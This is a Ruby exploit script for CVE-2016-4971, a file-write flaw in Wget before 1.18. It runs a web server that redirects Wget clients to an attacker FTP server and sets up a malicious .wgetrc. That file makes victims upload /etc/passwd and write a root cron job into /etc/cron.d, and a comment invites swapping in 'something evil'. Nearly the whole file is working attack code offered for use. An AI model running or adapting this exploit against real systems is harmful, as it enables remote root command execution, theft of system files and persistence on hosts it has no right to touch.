#!/usr/bin/env ruby
#
# CVE-2016-4971 |  Wget 1.18 < Arbitrary Commands Execution
# KING SABRI | @KINGSABRI
#
require 'webrick'
require 'socket'

class WgetExploit < WEBrick::HTTPServlet::AbstractServlet

  def ftp_server; $ftp_server.split('/', 2); end
  def ftp_port; $ftp_port; end

  def do_GET(req, res)
    res.status = check_req(req)[:status]
    res['Content-Type']   = "text/html; charset=UTF-8"
    res['Cache-Control']  = "no-store, no-cache,"
    res['Location']       = check_req(req)[:location]
    res['Server']         = "Wget Exploit"
    res['Content-Length'] = check_req(req)[:body].size
    res.body              = check_req(req)[:body]
  end

  def do_POST(req, res)
    res.status = 200
    res['Content-Type'] = "text/plain"
    res.body = AttackSetup.create_cronjob

    puts "  [+] Getting POST request!"
    puts req.query.keys
    puts "---------------[ END OF DATA ]---------------\n\n"
  end

  private
  # Check if the victim is Wget client
  def check_req(req)
    if req['User-Agent'].include? "Wget"  # If wget is the requestor
      puts "  - IP connected: #{req.remote_ip}, wget agent!, yay!"
      puts "[*] Exploiting with malicious FTP server: #{ftp_server[0]}:#{ftp_port}/#{ftp_server[1]}\n"
      puts "  [+] Uploading '#{ftp_server[1]}' via wget FTP redirect vulnerability"

      {
        :status   => 301,  # Moved Permanently
        :location => "ftp://#{ftp_server[0]}:#{ftp_port}/#{ftp_server[1]}",
        :body     => ""
      }
    else                    # If wget was NOT the requestor
      puts "  - IP connected: #{req.remote_ip}, Not a wget one, yuk!"
      {
        :status   => 200,
        :location => "",
        :body     => "<html><body><center><h1>Rubyfu!</h1></center></html></body>"
      }
    end
  end
end

# Incudes all required attack's setup
module AttackSetup

  def create_wgetrc
    puts "  - Creating malicious '.wgetrc' file."
    file_name = ".wgetrc"
    contents  = "post_file = /etc/passwd\n" +
                "output_document = /etc/cron.d/wget-root-shell\n"
    File.write(file_name, contents)
    check_file file_name
  end

  def create_cronjob
    "* * * * * root " +
    "/usr/bin/id > ~/hacked-via-wget\n"   # CHANGE THIS TO SOMETHING EVIL!
  end

  # Check if FTP server is working!
  def check_ftp_server
    puts "[+] Checking FTP server connectivity"
    TCPSocket.open($ftp_server.split('/').first, $ftp_port).close
    puts "  - FTP server is running on: #{$ftp_server.split('/').first}:#{$ftp_port}"
  end

  # Start Web Server
  def start_http_server
    puts "[+] Starting HTTP server on port: #{$port}\n"
    server = WEBrick::HTTPServer.new(ServerName: "Wget Web Server",
                                     Port: $port,
                                     BindAddress: '0.0.0.0',
                                     AccessLog: [],
                                     Logger: WEBrick::Log.new(File.open(File::NULL, 'w')))
    server.mount("/", WgetExploit)
    trap "INT" do server.shutdown end
    server.start
  end

  private
  def check_file(file_name)
    if File.exists? file_name
      puts "   -- The malicious file '#{file_name}' has been created!"
    else
      puts "  [!] Can't creat '#{file_name}' in the current path."
      exit 1
    end
  end

end

begin
  # Arguments
  $port       = ARGV[0]
  $ftp_server = ARGV[1]
  $ftp_port   = ARGV[2]
  raise if ARGV.size < 3

  # AttackSetup
  puts "[+] Setting up AttackSetup"
  include AttackSetup
  AttackSetup.create_wgetrc
  AttackSetup.check_ftp_server
  AttackSetup.start_http_server

rescue Exception => e
  puts "ruby #{__FILE__} <WEB_SERVER_PORT> <FTP_SERVER_IP> <FTP_SERVER_PRT>" if ARGV.size < 3
  puts e#, e.backtrace
  exit 0
end
